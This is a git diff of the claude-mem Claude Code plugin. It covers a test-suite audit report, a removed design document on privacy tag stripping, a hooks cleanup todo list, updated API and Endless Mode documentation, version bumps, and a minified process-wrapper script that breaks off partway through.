**Example:** `/Users/alexnewman/Scripts/claude-mem/tests/integration/full-lifecycle.test.ts`
- Called "integration test" but mocks everything
- Never actually tests hooks talking to worker
- Can't catch real integration bugs
**Fix:** Add TRUE integration tests that:
1. Start real worker process
2. Run real hooks
3. Verify real database writes
4. Tear down cleanly
**Philosophy Violation:** "Simple First" - mocking everything is more complex than just testing the real thing.
---
## DRY Violations (Test Code Duplication)
### Problem: Repeated Mock Setup
**Pattern:** Every test file has identical beforeEach blocks:
```typescript
beforeEach(() => {
vi.clearAllMocks();
});
```
**Pattern:** Every test manually mocks fetch with same structure:
```typescript
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ ... })
});
```
**Solution:** Extract to test helpers:
```typescript
// tests/helpers/mock-worker.ts
export function mockWorkerSuccess(responseData: any) {
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => responseData
});
}
export function mockWorkerError(status: number, message: string) {
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status,
text: async () => message
});
}
```
**Impact:** Reduces 49 instances to ~10 helper calls. Makes test intent clearer.
---
## Actionable Recommendations
### Priority 1: Critical Regressions (Implement Now) ✅ DONE
1. **Hook Error Logging Tests** ✅ Created
- File: `/Users/alexnewman/Scripts/claude-mem/tests/error-handling/hook-error-logging.test.ts`
- Prevents silent failure regressions
- Verifies error messages are actionable
2. **ChromaSync Error Tests** ✅ Created
- File: `/Users/alexnewman/Scripts/claude-mem/tests/services/chroma-sync-errors.test.ts`
- Ensures consistent error messages
- Catches initialization bugs
3. **Hook Environment Tests** ✅ Created
- File: `/Users/alexnewman/Scripts/claude-mem/tests/integration/hook-execution-environments.test.ts`
- Prevents fish shell PATH regression
- Cross-platform coverage
### Priority 2: Remove False Positives (Do Next)
1. **DELETE Unimplemented Feature Tests**
- `/Users/alexnewman/Scripts/claude-mem/tests/happy-paths/search.test.ts` lines 80-271
- These create false confidence
- Re-add when features actually exist
### Priority 3: Reduce Test Complexity
1. **Extract Mock Helpers**
- Create `/Users/alexnewman/Scripts/claude-mem/tests/helpers/mock-worker.ts`
- Replace 49 instances of manual mocking
- See DRY section above for example
2. **Add TRUE Integration Tests**
- Create `/Users/alexnewman/Scripts/claude-mem/tests/integration/real-worker.test.ts`
- Start real worker, run real hooks
- Currently ALL integration tests are mocked
### Priority 4: Systematic Error Testing
1. **Worker Failure Scenarios**
- Create `/Users/alexnewman/Scripts/claude-mem/tests/integration/hook-failures.test.ts`
- Test crash, timeout, malformed response scenarios
2. **Spinner Timeout Tests**
- Create `/Users/alexnewman/Scripts/claude-mem/tests/utils/spinner-timeout.test.ts`
- Verify hardened spinner cleanup works
---
## Test Quality Checklist
For EVERY new test, verify:
- [ ] Tests actual bug, not mocked behavior
- [ ] Will FAIL if bug reappears
- [ ] Error messages are checked (not just success paths)
- [ ] No YAGNI - tests code that exists NOW
- [ ] DRY - uses test helpers, not duplicated setup
- [ ] KISS - simple, obvious test structure
- [ ] Fail fast - no silent fallbacks tested
---
## Coverage Metrics
**Before Audit:**
- Error handling: 0% (no tests for error paths)
- Silent failures: Undetected
- Recent bugfixes: Unprotected
**After Audit:**
- Error handling: ~40% (3 new test files)
- Silent failures: Detected by hook-error-logging.test.ts
- Recent bugfixes: Protected
**Remaining Gaps:**
- True integration tests (worker + hooks + database)
- Spinner error handling
- Worker crash scenarios
- Malformed response handling
---
## Files Created
1. `/Users/alexnewman/Scripts/claude-mem/tests/error-handling/hook-error-logging.test.ts`
- 200+ lines
- Tests handleFetchError, handleWorkerError
- Real hook error scenarios
- Error message quality checks
2. `/Users/alexnewman/Scripts/claude-mem/tests/services/chroma-sync-errors.test.ts`
- 300+ lines
- Client initialization errors
- Error message consistency
- Fail-fast behavior
3. `/Users/alexnewman/Scripts/claude-mem/tests/integration/hook-execution-environments.test.ts`
- 250+ lines
- Fish shell PATH resolution
- Cross-platform bun finding
- Real-world shell scenarios
**Total:** ~750 lines of new regression-preventing tests
---
## Philosophy Alignment
These tests follow the project's coding standards:
**YAGNI** - Only test code that exists (removed future-feature tests)
**DRY** - Identified duplication, recommended helpers
**Fail Fast** - All tests verify explicit errors, not silent failures
**Simple First** - Recommended real integration over complex mocks
**Delete Aggressively** - Flagged unimplemented feature tests for deletion
---
## Next Steps
1. **Run new tests:** `npm test tests/error-handling/ tests/services/ tests/integration/hook-execution-environments.test.ts`
2. **Delete false positives:** Remove search.test.ts lines 80-271 (unimplemented features)
3. **Extract helpers:** Create `tests/helpers/mock-worker.ts` to reduce duplication
4. **Add true integration:** Create real worker + hook integration test
5. **Continuous:** Apply "Test Quality Checklist" to all future tests
---
## Conclusion
The test suite now has **regression protection for recent bugfixes**. The three new test files will catch if:
- Hooks start failing silently again
- ChromaSync error messages become inconsistent
- Fish shell PATH issues return
However, we still need **true integration tests** that don't mock everything. The current integration tests are really "mocked end-to-end tests" - they test the shape of the API, not the actual behavior.
**Risk reduced from HIGH → MEDIUM**. Remaining risk: real integration failures not caught by mocked tests.
@@ -1,360 +0,0 @@
# Dual-Tag System Architecture
**Date**: 2025-11-30
**Branch**: `feature/meta-observation-control`
**Status**: Implemented
**Based on**: PR #105 dual-tag system
## Overview
The dual-tag system provides fine-grained control over what content gets persisted in claude-mem's observation database. It uses an edge processing pattern to filter tagged content at the hook layer before it reaches the worker service.
## The Two Tags
### Tag 1: `<private>`
**Purpose**: User-controlled privacy
**Status**: User-facing feature (documented)
**Use case**: Users wrap content they don't want persisted
```xml
<private>
This content won't be stored in observations
</private>
```
**Examples**:
- Sensitive information (API keys, credentials, internal URLs)
- Temporary context (deadlines, personal notes)
- Debug output (logs, stack traces)
- Exploratory prompts (brainstorming, hypotheticals)
### Tag 2: `<claude-mem-context>`
**Purpose**: System-level meta-observation control
**Status**: Infrastructure-ready (not user-facing yet)
**Use case**: Prevents recursive storage when real-time context injection is active
```xml
<claude-mem-context>
# Relevant Context from Past Sessions
[Auto-injected past observations...]
</claude-mem-context>
```
**Context**: This tag is used by the real-time context injection feature (not yet shipped). When past observations are injected into new prompts, they're wrapped in this tag to prevent them from being re-stored as new observations (recursive storage problem).
## Architecture Pattern: Edge Processing
**Principle**: "Process at edge, send clean data to server"
The dual-tag system follows the edge processing pattern from hooks-in-composition:
```text
UserPrompt → [Hook Layer] → Worker → Database
Filter here
(strip tags at edge)
```
### Data Flow
**Without Filtering** (broken):
```
UserPrompt with <private> → PostToolUse hook → Worker → Memory Agent → Database
Private content stored
```
**With Edge Processing** (correct):
```
UserPrompt with <private> → PostToolUse hook → stripMemoryTags() → Worker → Memory Agent → Database
↑ ↓
Filter at edge Only clean data stored
```
## Implementation
### File: `src/hooks/save-hook.ts`
**Function Added** (lines 31-53):
```typescript
/**
* Strip memory tags to prevent recursive storage and enable privacy control
*/
function stripMemoryTags(content: string): string {
if (typeof content !== 'string') {
silentDebug('[save-hook] stripMemoryTags received non-string:', { type: typeof content });
return '{}'; // Safe default for JSON context
}
return content
.replace(/<claude-mem-context>[\s\S]*?<\/claude-mem-context>/g, '')
.replace(/<private>[\s\S]*?<\/private>/g, '')
.trim();
}
```
**Application** (lines 95-100):
```typescript
tool_input: tool_input !== undefined
? stripMemoryTags(JSON.stringify(tool_input))
: '{}',
tool_response: tool_response !== undefined
? stripMemoryTags(JSON.stringify(tool_response))
: '{}',
```
### File: `tests/strip-memory-tags.test.ts`
**Test Coverage**: 19 tests across 4 categories:
1. **Basic Functionality** (7 tests)
- Strip `<claude-mem-context>` tags
- Strip `<private>` tags
- Strip both tag types
- Handle nested tags
- Multiline content
- Multiple tags
- Empty results
2. **Edge Cases** (5 tests)
- Malformed tags (unclosed)
- Tag-like strings (not actual tags)
- Very large content (10k+ chars)
- Whitespace trimming
- Strings without tags
3. **Type Safety** (5 tests)
- Non-string inputs (number, null, undefined, object, array)
- All return safe default '{}'
4. **Real-World Scenarios** (2 tests)
- JSON.stringify output
- Efficient large content handling
**All tests passing** ✅ (19/19)
## Design Decisions
### 1. Always Active (No Configuration)
**Decision**: Tag stripping is always on, no environment variable needed
**Rationale**: Privacy and anti-recursion protection should be default, not opt-in
### 2. Edge Processing (Not Worker-Level)
**Decision**: Filter at hook layer before sending to worker
**Rationale**:
- Keeps worker service simple
- Follows one-way data stream
- No worker changes needed
- Hook becomes a filter/gateway
### 3. Defensive Coding with Silent Debug
**Decision**: Handle non-string inputs with silentDebug, return safe default
**Rationale**:
- Never block the agent (hooks-in-composition principle)
- Log issues for observability
- Safe fallback maintains system stability
### 4. Both Tags Now (Progressive Enhancement)
**Decision**: Implement both tags even though only `<private>` is user-facing
**Rationale**:
- Infrastructure ready for real-time context feature
- No rework needed when context injection ships
- Same code path for both tags (simple)
- Progressive enhancement approach
### 5. Regex-Based Stripping
**Decision**: Use regex `/<tag>[\s\S]*?<\/tag>/g` instead of XML parser
**Rationale**:
- No dependencies needed
- Handles multiline content (`[\s\S]*?`)
- Non-greedy (`*?`) prevents over-matching
- Global flag (`g`) handles multiple tags
- Good enough for this use case
## Edge Cases Handled
| Case | Input | Output | Why |
|------|-------|--------|-----|
| Nested tags | `<private>a <private>b</private> a</private>` | `` | Outer tag matches all |
| Malformed | `<private>unclosed` | `<private>unclosed` | Regex requires closing tag |
| Multiple | `<private>a</private> b <private>c</private>` | `b` | Global flag removes all |
| Empty | `<private></private>` | `` | Matches and removes |
| Tag-like | `<tag>not private</tag>` | `<tag>not private</tag>` | Different tag name |
| Large content | 10MB+ string | (stripped) | O(n) regex handles it |
| Non-string | `123`, `null`, `{}` | `'{}'` | Defensive default |
## Future Enhancements
### 1. Real-Time Context Injection
**Status**: Deferred (not in this PR)
**When ready**: The `<claude-mem-context>` tag infrastructure is already in place
The missing piece is in `src/hooks/new-hook.ts`:
- Select relevant observations from timeline
- Wrap in `<claude-mem-context>` tags
- Return via `hookSpecificOutput`
- Tag stripping already handles the rest
### 2. System-Level Meta-Observation Tagging
**Concept**: Auto-tag observations about observations
**Examples**:
- Search skill results: `<claude-mem-context>[search results]</claude-mem-context>`
- Memory lookups: Fetched observations wrapped in tag
- Observation summaries: Meta-level analysis wrapped
**Implementation**: Tools/skills that produce meta-observations can wrap output in `<claude-mem-context>` tags to prevent recursive storage.
### 3. Additional Tag Types
**Potential tags**:
- `<ephemeral>`: Content that should be seen but not stored (alias for `<private>`)
- `<debug>`: Debug output that should be logged but not persisted
- `<scratch>`: Thinking/planning content not meant for observations
**Note**: Current implementation handles any tag you add to the regex. Adding new tags requires one line change in `stripMemoryTags()`.
## Testing Strategy
### Unit Tests
```bash
node --test tests/strip-memory-tags.test.ts
```
**Expected**: 19/19 passing ✅
### Integration Tests
**Test 1: Basic Privacy**
```bash
# Submit prompt with <private> tag
# Query database: should not contain private content
sqlite3 ~/.claude-mem/claude-mem.db "SELECT COUNT(*) FROM observations WHERE narrative LIKE '%<private>%';"
# Expected: 0
```
**Test 2: Dual Tags**
```bash
# Submit prompt with both tags
# Verify neither tag appears in database
sqlite3 ~/.claude-mem/claude-mem.db "SELECT COUNT(*) FROM observations WHERE narrative LIKE '%<private>%' OR narrative LIKE '%<claude-mem-context>%';"
# Expected: 0
```
**Test 3: Function Exists**
```bash
# Verify stripMemoryTags in built file
grep -c "claude-mem-context.*private.*trim" ~/.claude/plugins/marketplaces/thedotmack/plugin/scripts/save-hook.js
# Expected: 1
```
### Regression Tests
**Ensure**:
- Normal observations still work (no tags broken)
- Worker service receives clean data
- No errors in `~/.claude-mem/silent.log`
- Tool executions still captured correctly
## Known Limitations
### 1. Tag Format is Fixed
Tags must use exact XML-style format: `<tag>content</tag>`
**Won't work**:
- `[private]content[/private]` (wrong syntax)
- `<!-- private -->content<!-- /private -->` (comment syntax)
- `{{private}}content{{/private}}` (curly braces)
**Future**: Could add support for alternative formats if needed.
### 2. Partial Tag Matching
If user writes about tags without intending to use them:
```
I want to add a <private> tag feature to my app
```
This won't be stripped (no closing tag). But if they accidentally write:
```
I want to add a <private>tag</private> feature
```
"tag" gets stripped.
**Mitigation**: Documentation educates users on proper usage.
### 3. Performance with Very Large Content
Regex performance is O(n) where n = content length.
**Tested**: Works fine with 10,000 character strings
**Unknown**: Performance with multi-megabyte tool responses
**Mitigation**: Most tool I/O is small. If issues arise, could optimize with:
- Early exit if no '<' character found
- Streaming regex for very large content
- Size limits on stripMemoryTags input
## Documentation
### User-Facing
**Location**: `docs/public/usage/private-tags.mdx`
**Content**:
- How to use `<private>` tags
- Use cases and examples
- Best practices
- Troubleshooting
**Available in**: Mintlify docs site, navigation under "Get Started"
### Technical/Internal
**Location**: `docs/context/dual-tag-system-architecture.md` (this file)
**Content**:
- Complete dual-tag system architecture
- Implementation details
- Design decisions
- Future enhancements
**Audience**: Contributors, maintainers, future developers
## References
### Original Work
- **PR #105**: Real-time context injection with dual-tag system
- **Branch**: `feature/real-time-context` (merged to main)
- **Investigator**: @basher83
### Documentation
- **Investigation**: `docs/context/real-time-context-recursive-memory-investigation.md`
- **User Guide**: `docs/public/usage/private-tags.mdx`
- **This Document**: `docs/context/dual-tag-system-architecture.md`
### Patterns Applied
- **Edge Processing**: From hooks-in-composition pattern
- **Never Block the Agent**: Defensive coding, safe defaults
- **One-Way Data Stream**: Hook → Worker → Database
## Summary
The dual-tag system is a complete, production-ready implementation that:
- ✅ Gives users privacy control via `<private>` tags
- ✅ Prepares infrastructure for real-time context injection
- ✅ Uses edge processing pattern for clean architecture
- ✅ Has comprehensive test coverage (19 tests, all passing)
- ✅ Includes user documentation and technical reference
- ✅ Requires no configuration (always active)
- ✅ Handles edge cases defensively
**Status**: Ready to ship 🚀
File diff suppressed because it is too large Load Diff
-83
View File
@@ -1,83 +0,0 @@
# Claude-Mem Hooks Cleanup Todo
## ✅ Phase 1: Delete Dead Code (Modified)
**hook-response.ts**
- [ ] Remove `| string` from HookType union to restore type safety
- [ ] Delete PreCompact branch (lines 23-36, 14 lines)
- [x] ~~Delete pointless branches~~ — SKIP (intentional)
- [x] ~~Simplify wrapper function~~ — SKIP (intentional)
**new-hook.ts**
- [ ] Delete 34-line architecture comment block (lines 1-34)
- [ ] Replace 18 lines of debug logging with single 4-line log call (lines 64-81)
**cleanup-hook.ts**
- [ ] Remove `cwd`, `transcript_path`, `hook_event_name` from SessionEndInput interface
- [ ] Replace 12-line manual mode help with simple error throw
**user-message-hook.ts**
- [ ] Delete all 40 lines of expired announcement code (lines 31-70)
- [ ] Add comment explaining exit code 3: `// exit code 3 = show user message that Claude does NOT receive as context`
---
## ✅ Phase 2: Extract Shared Utilities
- [ ] Create `src/shared/hook-error-handler.ts` with `handleWorkerError()`
- [ ] Update all 4 hooks to use shared error handler (context-hook, new-hook, save-hook, summary-hook)
- [ ] Create `src/shared/transcript-parser.ts` — merge `extractLastUserMessage` + `extractLastAssistantMessage` into single parameterized function
- [ ] Create `src/shared/hook-constants.ts` for exit codes, timeouts
---
## ❌ Phase 3: SKIPPED
_(Entry points stay as-is, hook-response.ts wrapper stays as-is)_
---
## ✅ Phase 4: Restore Type Safety
**context-hook.ts**
- [ ] Make `session_id`, `cwd`, `transcript_path` required in SessionStartInput
- [ ] Remove `[key: string]: any`
- [ ] Remove unused `source` field
- [ ] Keep using `happy_path_error__with_fallback` for defaults (hooks use exit codes, logging tool is appropriate)
**All 4 hook interfaces**
- [ ] Remove `[key: string]: any` from all interfaces
**save-hook.ts**
- [ ] Keep `happy_path_error__with_fallback` usage (it's appropriate for hook context)
**summary-hook.ts**
- [ ] Add timeout (2s) and error logging to spinner stop request
---
## ✅ Phase 5: Relocate Business Logic (Modified)
- [ ] Move `SKIP_TOOLS` from save-hook.ts to worker service
- [ ] Make `SKIP_TOOLS` configurable via settings.json
- [x] ~~Move announcements to database~~ — SKIP
- [x] ~~Merge context-hook + user-message-hook~~ — SKIP (intentionally separate)
---
## Summary
| Action | Count |
| ----------------- | ----- |
| Lines to delete | ~150 |
| New shared files | 3 |
| Interfaces to fix | 4 |
| Items skipped | 5 |
@@ -3,6 +3,14 @@ title: "PM2 to Bun Migration"
description: "Complete technical documentation for the process management and database driver migration in v7.1.0"
---
<Note>
**Historical Migration Documentation**
This document describes the PM2 to Bun migration that occurred in v7.1.0 (December 2025). If you're installing claude-mem for the first time, this migration has already been completed and you can use the current Bun-based system documented in the main guides.
This documentation is preserved for users upgrading from versions older than v7.1.0.
</Note>
# PM2 to Bun Migration: Complete Technical Documentation
**Version**: 7.1.0
@@ -5,7 +5,7 @@ description: "mem-search skill with HTTP API and progressive disclosure"
# Search Architecture
Claude-Mem uses a skill-based search architecture that provides intelligent memory retrieval through natural language queries. This replaced the MCP-based approach in v5.4.0, saving ~2,250 tokens per session start. The skill was enhanced and renamed to "mem-search" in v5.5.0 for better scope differentiation.
Claude-Mem uses a skill-based search architecture that provides intelligent memory retrieval through natural language queries. This replaced the MCP-based approach in v5.4.0 with a more efficient implementation. The skill was enhanced and renamed to "mem-search" in v5.5.0 for better scope differentiation.
## Overview
@@ -133,7 +133,7 @@ Invoke this skill when users ask about:
...
```
**Token Savings**: ~2,250 tokens per session start (90% reduction)
**Token Efficiency**: Minimal frontmatter at session start with progressive disclosure
## HTTP API Endpoints
@@ -341,14 +341,14 @@ All user-provided search queries are properly escaped to prevent SQL injection.
### 1. Token Efficiency
**Before (MCP)**:
- Session start: ~2,500 tokens for tool definitions
- Session start: All tool definitions loaded upfront
- Every session pays this cost
- No progressive disclosure
**After (Skill)**:
- Session start: ~250 tokens for skill frontmatter
- Full instructions: ~2,500 tokens (only when invoked)
- Net savings: ~2,250 tokens per session (~90% reduction)
- Session start: Minimal token cost for skill frontmatter
- Full instructions loaded only when invoked (progressive disclosure)
- More efficient than loading all tool definitions upfront
### 2. Natural Language Interface
+166 -9
View File
@@ -19,7 +19,7 @@ The worker service is a long-running HTTP API built with Express.js and managed
## REST API Endpoints
The worker service exposes 14 HTTP endpoints organized into four categories:
The worker service exposes 20 HTTP endpoints organized into five categories:
### Viewer & Health Endpoints
@@ -156,7 +156,150 @@ GET /api/summaries?project=my-project&limit=20&offset=0
}
```
#### 7. Get Stats
#### 7. Get Observation by ID
```
GET /api/observation/:id
```
**Purpose**: Retrieve a single observation by its ID
**Path Parameters**:
- `id` (required): Observation ID
**Response**:
```json
{
"id": 123,
"sdk_session_id": "abc123",
"project": "my-project",
"type": "bugfix",
"title": "Fix authentication bug",
"narrative": "...",
"created_at": "2025-11-06T10:30:00Z",
"created_at_epoch": 1730886600000
}
```
**Error Response** (404):
```json
{
"error": "Observation #123 not found"
}
```
#### 8. Get Observations by IDs (Batch)
```
POST /api/observations/batch
```
**Purpose**: Retrieve multiple observations by their IDs in a single request
**Request Body**:
```json
{
"ids": [123, 456, 789],
"orderBy": "date_desc",
"limit": 10,
"project": "my-project"
}
```
**Body Parameters**:
- `ids` (required): Array of observation IDs
- `orderBy` (optional): Sort order - `date_desc` or `date_asc` (default: `date_desc`)
- `limit` (optional): Maximum number of results to return
- `project` (optional): Filter by project name
**Response**:
```json
[
{
"id": 789,
"sdk_session_id": "abc123",
"project": "my-project",
"type": "feature",
"title": "Add new feature",
"narrative": "...",
"created_at": "2025-11-06T12:00:00Z",
"created_at_epoch": 1730891400000
},
{
"id": 456,
"sdk_session_id": "abc124",
"project": "my-project",
"type": "bugfix",
"title": "Fix authentication bug",
"narrative": "...",
"created_at": "2025-11-06T10:30:00Z",
"created_at_epoch": 1730886600000
}
]
```
**Error Responses**:
- `400 Bad Request`: `{"error": "ids must be an array of numbers"}`
- `400 Bad Request`: `{"error": "All ids must be integers"}`
**Use Case**: This endpoint is used by the `get_observations` MCP tool to efficiently retrieve multiple observations in a single request, avoiding the overhead of multiple individual requests.
#### 9. Get Session by ID
```
GET /api/session/:id
```
**Purpose**: Retrieve a single session by its ID
**Path Parameters**:
- `id` (required): Session ID
**Response**:
```json
{
"id": 456,
"sdk_session_id": "abc123",
"project": "my-project",
"request": "User's original request",
"completed": "Work finished",
"created_at": "2025-11-06T10:30:00Z"
}
```
**Error Response** (404):
```json
{
"error": "Session #456 not found"
}
```
#### 10. Get Prompt by ID
```
GET /api/prompt/:id
```
**Purpose**: Retrieve a single user prompt by its ID
**Path Parameters**:
- `id` (required): Prompt ID
**Response**:
```json
{
"id": 1,
"session_id": "abc123",
"prompt": "User's prompt text",
"prompt_number": 1,
"created_at": "2025-11-06T10:30:00Z"
}
```
**Error Response** (404):
```json
{
"error": "Prompt #1 not found"
}
```
#### 12. Get Stats
```
GET /api/stats
```
@@ -187,9 +330,23 @@ GET /api/stats
}
```
#### 13. Get Projects
```
GET /api/projects
```
**Purpose**: Get list of distinct projects from observations
**Response**:
```json
{
"projects": ["my-project", "other-project", "test-project"]
}
```
### Settings Endpoints
#### 8. Get Settings
#### 14. Get Settings
```
GET /api/settings
```
@@ -205,7 +362,7 @@ GET /api/settings
}
```
#### 9. Save Settings
#### 15. Save Settings
```
POST /api/settings
```
@@ -230,7 +387,7 @@ POST /api/settings
### Session Management Endpoints
#### 10. Initialize Session
#### 16. Initialize Session
```
POST /sessions/:sessionDbId/init
```
@@ -251,7 +408,7 @@ POST /sessions/:sessionDbId/init
}
```
#### 11. Add Observation
#### 17. Add Observation
```
POST /sessions/:sessionDbId/observations
```
@@ -274,7 +431,7 @@ POST /sessions/:sessionDbId/observations
}
```
#### 12. Generate Summary
#### 18. Generate Summary
```
POST /sessions/:sessionDbId/summarize
```
@@ -294,7 +451,7 @@ POST /sessions/:sessionDbId/summarize
}
```
#### 13. Session Status
#### 19. Session Status
```
GET /sessions/:sessionDbId/status
```
@@ -309,7 +466,7 @@ GET /sessions/:sessionDbId/status
}
```
#### 14. Delete Session
#### 20. Delete Session
```
DELETE /sessions/:sessionDbId
```
+14 -7
View File
@@ -5,6 +5,10 @@ description: "Try experimental features like Endless Mode before they're release
# Beta Features
<Warning>
**Endless Mode is experimental and not included in the stable release.** You must manually switch to the beta branch to try it. The efficiency projections below are based on theoretical modeling, not production measurements. Expect slower performance than standard mode and potential bugs.
</Warning>
Claude-Mem offers a beta channel for users who want to try experimental features before they're released to the stable channel.
## Version Channel Switching
@@ -77,19 +81,22 @@ Archive Memory (Transcript File):
This transforms O(N²) scaling into O(N) - linear instead of quadratic.
### Expected Results
### Projected Results
Based on analysis of real sessions:
Based on theoretical modeling (not production measurements):
- **Token savings**: ~95% reduction in context window usage
- **Efficiency gain**: ~20x more tool uses before context exhaustion
- **Token savings**: Significant reduction in context window usage
- **Efficiency gain**: More tool uses before context exhaustion
- **Quality preservation**: Observations cache the synthesis result, so no information is lost
### Caveats
### Important Caveats
Endless Mode is experimental:
Endless Mode is experimental and has significant limitations:
- **Adds latency** - Blocking hooks wait for observation generation (60-90s per tool use)
- **Not in stable release** - You must manually switch to the beta branch to use this feature
- **Still in development** - May have bugs, breaking changes, or incomplete functionality
- **Slower than standard mode** - Blocking observation generation adds latency to each tool use
- **Theoretical projections** - The efficiency claims above are based on simulations, not real-world production data
- **Requires working database** - Observations must save successfully for transformation
- **New architecture** - Less battle-tested than standard mode
+3 -1
View File
@@ -179,7 +179,9 @@ Claude-Mem supports switching between stable and beta versions via the web viewe
**Your memory data is preserved** when switching versions. Only the plugin code changes.
See [Beta Features](beta-features) for details on what's available in beta.
<Note>
Endless Mode is experimental and slower than standard mode. See [Beta Features](beta-features) for full details and important limitations.
</Note>
## Worker Service Management
+2 -1
View File
@@ -40,7 +40,8 @@
"usage/claude-desktop",
"usage/private-tags",
"usage/export-import",
"beta-features"
"beta-features",
"endless-mode"
]
},
{
+111
View File
@@ -0,0 +1,111 @@
---
title: "Endless Mode (Beta)"
description: "Experimental biomimetic memory architecture for extended sessions"
---
# Current State of Endless Mode
## Core Concept
Endless Mode is a **biomimetic memory architecture** that solves Claude's context window exhaustion problem. Instead of keeping full tool outputs in the context window (O(N²) complexity), it:
- Captures compressed observations after each tool use
- Replaces transcripts with low token summaries
- Achieves O(N) linear complexity
- Maintains two-tier memory: working memory (compressed) + archive memory (full transcript on disk, maintained by default claude code functionality)
## Implementation Status
**Status**: FUNCTIONAL BUT EXPERIMENTAL
**Current Branch**: `beta/endless-mode` (ahead of main)
**Recent Activity**:
- Merged main branch changes
- Resolved merge conflicts in save-hook, SessionStore, SessionRoutes
- Updated documentation to remove misleading token reduction claims
- Added important caveats about beta status
## Key Architecture Components
1. **Pre-Tool-Use Hook** - Tracks tool execution start, sends tool_use_id to worker
2. **Save Hook (PostToolUse)** - **CRITICAL**: Blocks until observation is generated (110s timeout), injects compressed observation back into context
3. **SessionManager.waitForNextObservation()** - Event-driven wait mechanism (no polling)
4. **SDKAgent** - Generates observations via Agent SDK, emits completion events
5. **Database** - Added `tool_use_id` column for observation correlation
## Configuration
```json
{
"CLAUDE_MEM_ENDLESS_MODE": "false", // Default: disabled
"CLAUDE_MEM_ENDLESS_WAIT_TIMEOUT_MS": "90000" // 90 second timeout
}
```
**Enable via**: Manual checkout of beta branch (see instructions below)
## Flow
```
Tool Executes → Pre-Hook (track ID) → Tool Completes →
Save-Hook (BLOCKS) → Worker processes → SDK generates observation →
Event fired → Hook receives observation → Injects markdown →
Clears input → Context reduced
```
## Known Limitations
From the documentation:
- ⚠️ **Slower than standard mode** - Blocking adds latency
- ⚠️ **Still in development** - May have bugs
- ⚠️ **Not battle-tested** - New architecture
- ⚠️ **Theoretical projections** - Efficiency gains not yet validated in production
## What's Working
- ✅ Synchronous observation injection
- ✅ Event-driven wait mechanism
- ✅ Token reduction via input clearing
- ✅ Database schema with tool_use_id
- ✅ Web UI for version switching
- ✅ Graceful timeout fallbacks
## What's Not Ready
- ❌ Production validation of token savings
- ❌ Comprehensive test coverage
- ❌ Stable channel release
- ❌ Performance benchmarks
- ❌ Long-running session data
## How to Try Endless Mode
Endless Mode is currently only available on the beta branch. To try it:
```bash
# Navigate to your claude-mem installation
cd ~/.claude/plugins/marketplaces/thedotmack/
# Checkout the beta branch
git checkout beta/endless-mode
# Install dependencies
npm install
# Restart the worker
npm run worker:restart
```
**To return to stable:**
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/
git checkout main
npm install
npm run worker:restart
```
## Summary
The implementation is architecturally complete and functional, but remains experimental pending production validation of the theoretical efficiency gains.
+2 -2
View File
@@ -118,12 +118,12 @@ The skill provides access to these MCP tools:
| `search` | Unified search across observations, sessions, and prompts |
| `timeline` | Get chronological context around a query or observation ID |
| `get_observation` | Fetch a single observation by ID |
| `get_batch_observations` | Fetch multiple observations efficiently |
| `get_observations` | Fetch multiple observations efficiently |
| `get_session` | Fetch session summary by ID |
| `get_prompt` | Fetch user prompt by ID |
| `get_recent_context` | Get recent timeline items |
| `get_context_timeline` | Get timeline around a specific observation |
| `progressive_description` | Load detailed usage instructions |
| `help` | Load detailed usage instructions |
## Troubleshooting
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "claude-mem",
"version": "7.2.2",
"version": "7.3.5",
"description": "Memory compression system for Claude Code - persist context across sessions",
"keywords": [
"claude",
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "claude-mem",
"version": "7.2.2",
"version": "7.3.5",
"description": "Persistent memory system for Claude Code - seamlessly preserve context across sessions",
"author": {
"name": "Alex Newman"
+1 -1
View File
@@ -1,6 +1,6 @@
{
"mcpServers": {
"claude-mem-search": {
"mem-search": {
"type": "stdio",
"command": "${CLAUDE_PLUGIN_ROOT}/scripts/mcp-server.cjs"
}
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "claude-mem-plugin",
"version": "7.2.2",
"version": "7.3.5",
"private": true,
"description": "Runtime dependencies for claude-mem bundled hooks",
"type": "module",
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+2
View File
@@ -0,0 +1,2 @@
#!/usr/bin/env bun
"use strict";var u=Object.create;var w=Object.defineProperty;var I=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,k=Object.prototype.hasOwnProperty;var y=(e,i,t,o)=>{if(i&&typeof i=="object"||typeof i=="function")for(let s of f(i))!k.call(e,s)&&s!==t&&w(e,s,{get:()=>i[s],enumerable:!(o=I(i,s))||o.enumerable});return e};var P=(e,i,t)=>(t=e!=null?u(g(e)):{},y(i||!e||!e.__esModule?w(t,"default",{value:e,enumerable:!0}):t,e));var c=require("child_process"),p=P(require("path"),1),h=process.platform==="win32",x=__dirname,l=p.default.join(x,"worker-service.cjs"),n=null,a=!1;function r(e){let i=new Date().toISOString();console.log(`[${i}] [wrapper] ${e}`)}function m(){r(`Spawning inner worker: ${l}`),n=(0,c.spawn)(process.execPath,[l],{stdio:["inherit","inherit","inherit","ipc"],env:{...process.env,CLAUDE_MEM_MANAGED:"true"},cwd:p.default.dirname(l)}),n.on("message",async e=>{(e.type==="restart"||e.type==="shutdown")&&(r(`${e.type} requested by inner`),a=!0,await d(),r("Exiting wrapper"),process.exit(0))}),n.on("exit",(e,i)=>{r(`Inner exited with code=${e}, signal=${i}`),n=null,!a&&e!==0&&(r("Inner crashed, respawning in 1 second..."),setTimeout(()=>m(),1e3))}),n.on("error",e=>{r(`Inner error: ${e.message}`)})}async function d(){if(!n||!n.pid){r("No inner process to kill");return}let e=n.pid;if(r(`Killing inner process tree (pid=${e})`),h)try{(0,c.execSync)(`taskkill /PID ${e} /T /F`,{timeout:1e4,stdio:"ignore"}),r(`taskkill completed for pid=${e}`)}catch(i){r(`taskkill failed (process may be dead): ${i}`)}else{n.kill("SIGTERM");let i=new Promise(o=>{if(!n){o();return}n.on("exit",()=>o())}),t=new 